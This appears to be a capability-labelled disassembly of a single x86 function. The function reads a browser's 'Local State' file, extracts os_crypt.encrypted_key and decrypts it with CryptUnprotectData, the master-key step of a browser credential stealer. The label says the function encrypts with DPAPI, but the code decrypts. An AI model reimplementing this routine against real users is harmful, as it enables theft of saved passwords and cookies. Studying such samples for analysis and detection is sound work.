Function at 0x4641c0
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x6decd0
mov eax, dword fs:[0]
push eax
sub esp, 0x23c
mov eax, dword [0x790f00]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov edi, ecx
mov dword [ebp - 0x200], edi
mov dword [ebp - 0x204], edi
mov dword [ebp - 0x208], 0
mov dword [ebp - 4], 0
mov byte [ebp - 4], 1
mov edx, dword [ebp + 0x1c]
mov eax, edx
mov ecx, dword [ebp + 0x18]
sub eax, ecx
push 0xc
push str.Local_State
cmp eax, 0xc
jb 0x46424b
cmp edx, 0xf
lea esi, [ebp + 8]
lea eax, [ecx + 0xc]
cmova esi, dword [ebp + 8]
add esi, ecx
mov dword [ebp + 0x18], eax
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 0xc], 0
jmp 0x46425b
push dword [ebp - 0x200]
lea ecx, [ebp + 8]
push 0xc
call fcn.0048fd00
push 0xb8
lea eax, [ebp - 0x1ec]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 4
lea eax, [ebp + 8]
lea ecx, [ebp - 0x1ec]
push 1
push eax
call fcn.00483c20
mov byte [ebp - 4], 2
cmp dword [ebp - 0x190], 0
je 0x4649ad
push 0xb0
lea eax, [ebp - 0x134]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x134], 0x77d600
lea ecx, [ebp - 0xcc]
mov dword [ebp - 0x124], 0x77d780
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::constructor_void_]
push 0
lea eax, [ebp - 0x11c]
mov byte [ebp - 4], 4
push eax
lea ecx, [ebp - 0x134]
mov dword [ebp - 0x208], 2
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char____]
mov dword [ebp - 4], 5
mov eax, dword [ebp - 0x134]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.virtual_0], vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov eax, dword [ebp - 0x134]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x138], eax
lea ecx, [ebp - 0x11c]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void_]
mov dword [ebp - method.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.virtual_0], vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov dword [ebp - 0xe4], 0
mov dword [ebp - 0xe0], 0
lea eax, [ebp - 0x1dc]
mov byte [ebp - 4], 6
push eax
lea ecx, [ebp - 0x124]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_streambuf_char__struct_std::char_traits_char____]
lea ecx, [ebp - 0x1dc]
call fcn.004885a0
test eax, eax
jne 0x464383
mov eax, dword [ebp - 0x1ec]
lea ecx, [ebp - 0x1ec]
push 0
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
lea eax, [ebp - 0x224]
push eax
lea ecx, [ebp - 0x134]
call fcn.00483d50
mov edx, eax
push 0
push 1
sub esp, 0x28
mov byte [ebp - 4], 7
mov eax, esp
lea ecx, [ebp - 0x84]
mov dword [eax + 0x24], 0
call fcn.0048c800
add esp, 0x30
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x210]
cmp ecx, 0xf
jbe 0x4643f9
mov edx, dword [ebp - 0x224]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4643ef
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4643ef
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.006db5f6
add esp, 8
push str.os_crypt
lea ecx, [ebp - 0x84]
mov dword [ebp - 0x214], 0
mov dword [ebp - 0x210], 0xf
mov byte [ebp - 0x224], 0
call fcn.0048cc60
push str.encrypted_key
mov ecx, eax
call fcn.0048cc60
lea ecx, [ebp - 0x5c]
push ecx
mov ecx, eax
call fcn.0048cdd0
lea edx, [ebp - 0x5c]
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x2c]
call fcn.00463980
mov byte [ebp - 4], 0xb
mov eax, dword [ebp - 0x1c]
cmp eax, 5
jbe 0x4649ee
add eax, 0xfffffffb
mov dword [ebp - 0x64], 0
or ecx, 0xffffffff
mov dword [ebp - 0x60], 0
cmp eax, 0xffffffff
xorps xmm0, xmm0
movups xmmword [ebp - 0x74], xmm0
cmovb ecx, eax
cmp dword [ebp - 0x18], 0xf
lea eax, [ebp - 0x2c]
cmova eax, dword [ebp - 0x2c]
push ecx
add eax, 5
lea ecx, [ebp - 0x74]
push eax
call fcn.004511e0
mov byte [ebp - 4], 0xd
mov eax, dword [ebp - 0x64]
cmp dword [ebp - 0x60], 0xf
mov dword [ebp - 0x1fc], eax
lea eax, [ebp - 0x74]
cmova eax, dword [ebp - 0x74]
mov dword [ebp - 0x1f8], eax
lea eax, [ebp - 0x1f4]
push eax
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x1fc]
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
lea ecx, [ebp - 0x44]
test eax, eax
je 0x464a28
push dword [ebp - 0x1f4]
xorps xmm0, xmm0
mov dword [ebp - 0x34], 0
push dword [ebp - 0x1f0]
movups xmmword [ebp - 0x44], xmm0
mov dword [ebp - 0x30], 0
call fcn.004511e0
push dword [ebp - 0x1f0]
call dword [sym.imp.KERNEL32.dll_LocalFree]
xorps xmm0, xmm0
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
movups xmm0, xmmword [ebp - 0x44]
mov dword [edi + 0x14], 0
movups xmmword [edi], xmm0
movq xmm0, qword [ebp - 0x34]
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0x60]
movq qword [edi + 0x10], xmm0
cmp ecx, 0xf
jbe 0x464569
mov edx, dword [ebp - 0x74]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x46455f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x464737
push ecx
push edx
call fcn.006db5f6
add esp, 8
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 0xf
mov byte [ebp - 0x74], 0
cmp ecx, 0xf
jbe 0x4645b3
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4645a9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x464737
push ecx
push edx
call fcn.006db5f6
add esp, 8
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x48]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
cmp ecx, 0xf
jbe 0x4645fd
mov edx, dword [ebp - 0x5c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4645f3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x464737
push ecx
push edx
call fcn.006db5f6
add esp, 8
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 0xf
mov byte [ebp - 0x5c], 0
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x7c]
push dword [ebp - 0x84]
call fcn.00488880
mov eax, dword [ebp - 0x134]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.virtual_0], vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov eax, dword [ebp - 0x134]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x138], eax
lea ecx, [ebp - 0x11c]
call fcn.00486280
lea ecx, [ebp - 0x114]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0xcc]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov eax, dword [ebp - 0x1ec]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x1ec]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x1f0], eax
mov byte [ebp - 4], 0x10
cmp dword [ebp - 0x190], 0
mov dword [ebp - method.std::basic_filebuf_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
je 0x4646d9
mov eax, dword [ebp - 0x1d0]
lea ecx, [ebp - 0x1a0]
cmp dword [eax], ecx
jne 0x4646d9
mov edx, dword [ebp - 0x188]
mov ecx, dword [ebp - 0x18c]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebp - 0x1c0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1b0]
mov dword [eax], edx
cmp byte [ebp - 0x194], 0
je 0x4646ed
lea ecx, [ebp - 0x1dc]
call fcn.004885a0
lea ecx, [ebp - 0x1dc]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x1d4]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_istream_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x17c]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov ecx, dword [ebp + 0x1c]
cmp ecx, 0xf
jbe 0x464747
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x46473d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x46473d
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.006db5f6
add esp, 8
mov eax, edi
jmp 0x464991
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.006daf70
mov esp, ebp
pop ebp
ret
lea eax, [ebp + 8]
mov edx, str.Failed_to_open_local_state_file_when_getting_master_key_for
push eax
lea ecx, [ebp - 0x44]
call fcn.0048d180
add esp, 4
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 3
call fcn.00451140
push str.Failed_to_open_Local_State_file
lea ecx, [ebp - 0x230]
call fcn.0044bae0
push 0x787e60
lea eax, [ebp - 0x230]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
push str.Decoded_key_is_too_short.
lea ecx, [ebp - 0x44]
call fcn.004511a0
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0xc
call fcn.00451140
push str.Decoded_key_is_too_short
lea ecx, [ebp - 0x23c]
call fcn.0044bae0
push 0x787e60
lea eax, [ebp - 0x23c]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
lea eax, [ebp + 8]
mov edx, str.Faild_to_decrypt_master_key_for
push eax
call fcn.0048d180
add esp, 4
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0xe
call fcn.00451140
push str.Failed_to_decrypt_master_key
lea ecx, [ebp - 0x248]
call fcn.0044bae0
push 0x787e60
lea eax, [ebp - 0x248]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
call fcn.0044bad0
int3